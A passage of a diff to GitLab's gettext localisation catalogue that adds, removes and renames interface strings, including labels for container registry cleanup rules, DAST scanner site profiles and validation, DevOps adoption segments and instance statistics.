msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr "Erros encontrados no teu %{gitlab_ci_yml}:"
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
